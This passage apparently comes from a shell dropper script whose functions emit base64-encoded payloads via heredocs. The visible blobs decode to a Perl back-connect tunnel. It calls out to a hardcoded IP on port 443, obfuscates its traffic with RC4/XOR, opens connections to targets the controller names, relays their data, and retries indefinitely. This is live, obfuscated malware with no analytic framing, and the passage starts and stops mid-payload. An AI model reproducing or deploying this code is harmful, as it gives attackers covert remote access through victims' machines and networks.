c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_15() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
